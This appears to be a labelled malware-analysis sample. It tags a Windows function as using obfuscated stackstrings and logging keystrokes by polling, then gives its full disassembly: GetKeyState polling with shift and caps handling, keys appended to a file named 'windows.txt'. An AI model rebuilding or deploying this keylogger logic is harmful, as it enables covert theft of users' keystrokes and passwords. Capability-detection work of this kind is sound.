Function at 0x401520
Capabilities:
Contain obfuscated stackstrings
Log keystrokes via polling

Disassembly:
push rbp
sub rsp, 0x490
lea rbp, [rsp + 0x80]
movabs rax, 0x265e252423402129
mov qword [rbp - 0x2b], rax
mov dword [rbp - 0x24], 0x282a26
movabs rax, 0x602f2e2d2c3d3b
mov qword [rbp - 0x33], rax
movabs rax, 0x7e3f3e5f3c2b3a
mov qword [rbp - 0x3b], rax
mov dword [rbp - 0x41], 0x275d5c5b
mov word [rbp - 0x3d], 0x3b
mov dword [rbp - 0x46], 0x227d7c7b
mov byte [rbp - 0x42], 0
movabs rax, 0x2e73776f646e6977
mov qword [rbp - 0x52], rax
mov dword [rbp - 0x4a], 0x747874
mov dword [rbp + 0x40c], 0
jmp 0x4015b1
mov eax, dword [rbp + 0x40c]
cdqe
mov dword [rbp + rax*4 - 0x20], 0
add dword [rbp + 0x40c], 1
cmp dword [rbp + 0x40c], 0xfe
jle 0x40159a
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
movzx eax, al
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x404], eax
mov ecx, 0x90
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
movzx eax, al
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x400], eax
mov ecx, 0xa0
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x3fc], eax
mov ecx, 0xa1
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x3f8], eax
mov dword [rbp + 0x40c], 0
jmp 0x40190b
mov eax, dword [rbp + 0x40c]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x3f4], eax
mov eax, dword [rbp + 0x40c]
mov byte [rbp + 0x40b], al
cmp dword [rbp + 0x3f4], 1
jne 0x4018f2
mov eax, dword [rbp + 0x40c]
cdqe
mov eax, dword [rbp + rax*4 - 0x20]
test eax, eax
jne 0x4018f2
cmp dword [rbp + 0x40c], 0x40
jle 0x401723
cmp dword [rbp + 0x40c], 0x5a
jg 0x401723
cmp dword [rbp + 0x404], 0
jne 0x4016f9
cmp dword [rbp + 0x3fc], 0
jne 0x4018a7
cmp dword [rbp + 0x3f8], 0
jne 0x4018a7
mov eax, dword [rbp + 0x40c]
add eax, 0x20
mov byte [rbp + 0x40b], al
jmp 0x4018a7
cmp dword [rbp + 0x3fc], 1
je 0x40170f
cmp dword [rbp + 0x3f8], 1
jne 0x4018a7
mov eax, dword [rbp + 0x40c]
add eax, 0x20
mov byte [rbp + 0x40b], al
jmp 0x4018a7
cmp dword [rbp + 0x40c], 0x2f
jle 0x401766
cmp dword [rbp + 0x40c], 0x39
jg 0x401766
cmp dword [rbp + 0x3fc], 1
je 0x40174b
cmp dword [rbp + 0x3f8], 1
jne 0x4018aa
mov eax, dword [rbp + 0x40c]
sub eax, 0x30
cdqe
movzx eax, byte [rbp + rax - 0x2b]
mov byte [rbp + 0x40b], al
jmp 0x4018aa
cmp dword [rbp + 0x40c], 0x5f
jle 0x401795
cmp dword [rbp + 0x40c], 0x69
jg 0x401795
cmp dword [rbp + 0x400], 1
jne 0x401795
mov eax, dword [rbp + 0x40c]
sub eax, 0x30
mov byte [rbp + 0x40b], al
jmp 0x4018ab
cmp dword [rbp + 0x40c], 0xb9
jle 0x4017f9
cmp dword [rbp + 0x40c], 0xc0
jg 0x4017f9
cmp dword [rbp + 0x3fc], 1
je 0x4017bf
cmp dword [rbp + 0x3f8], 1
jne 0x4017dc
mov eax, dword [rbp + 0x40c]
sub eax, 0xba
cdqe
movzx eax, byte [rbp + rax - 0x3b]
mov byte [rbp + 0x40b], al
jmp 0x4018ab
mov eax, dword [rbp + 0x40c]
sub eax, 0xba
cdqe
movzx eax, byte [rbp + rax - 0x33]
mov byte [rbp + 0x40b], al
jmp 0x4018ab
cmp dword [rbp + 0x40c], 0xda
jle 0x401857
cmp dword [rbp + 0x40c], 0xdf
jg 0x401857
cmp dword [rbp + 0x3fc], 1
je 0x401823
cmp dword [rbp + 0x3f8], 1
jne 0x40183d
mov eax, dword [rbp + 0x40c]
sub eax, 0xdb
cdqe
movzx eax, byte [rbp + rax - 0x46]
mov byte [rbp + 0x40b], al
jmp 0x4018ab
mov eax, dword [rbp + 0x40c]
sub eax, 0xdb
cdqe
movzx eax, byte [rbp + rax - 0x41]
mov byte [rbp + 0x40b], al
jmp 0x4018ab
cmp dword [rbp + 0x40c], 0xd
jne 0x401869
mov byte [rbp + 0x40b], 0xa
jmp 0x4018ab
cmp dword [rbp + 0x40c], 0x69
jle 0x40188c
cmp dword [rbp + 0x40c], 0x6f
jg 0x40188c
mov eax, dword [rbp + 0x40c]
sub eax, 0x40
mov byte [rbp + 0x40b], al
jmp 0x4018ab
cmp dword [rbp + 0x40c], 0x20
je 0x4018ab
cmp dword [rbp + 0x40c], 9
je 0x4018ab
mov byte [rbp + 0x40b], 0
jmp 0x4018ab
nop
jmp 0x4018ab
nop
cmp byte [rbp + 0x40b], 0
je 0x4018f2
lea rax, [rbp - 0x52]
lea rdx, section..rdata
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x3e8], rax
movsx eax, byte [rbp + 0x40b]
mov rdx, qword [rbp + 0x3e8]
mov ecx, eax
call sym.putc
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
call sym.fclose
mov eax, dword [rbp + 0x40c]
cdqe
mov edx, dword [rbp + 0x3f4]
mov dword [rbp + rax*4 - 0x20], edx
add dword [rbp + 0x40c], 1
cmp dword [rbp + 0x40c], 0xfe
jle 0x40165e
jmp 0x4015bd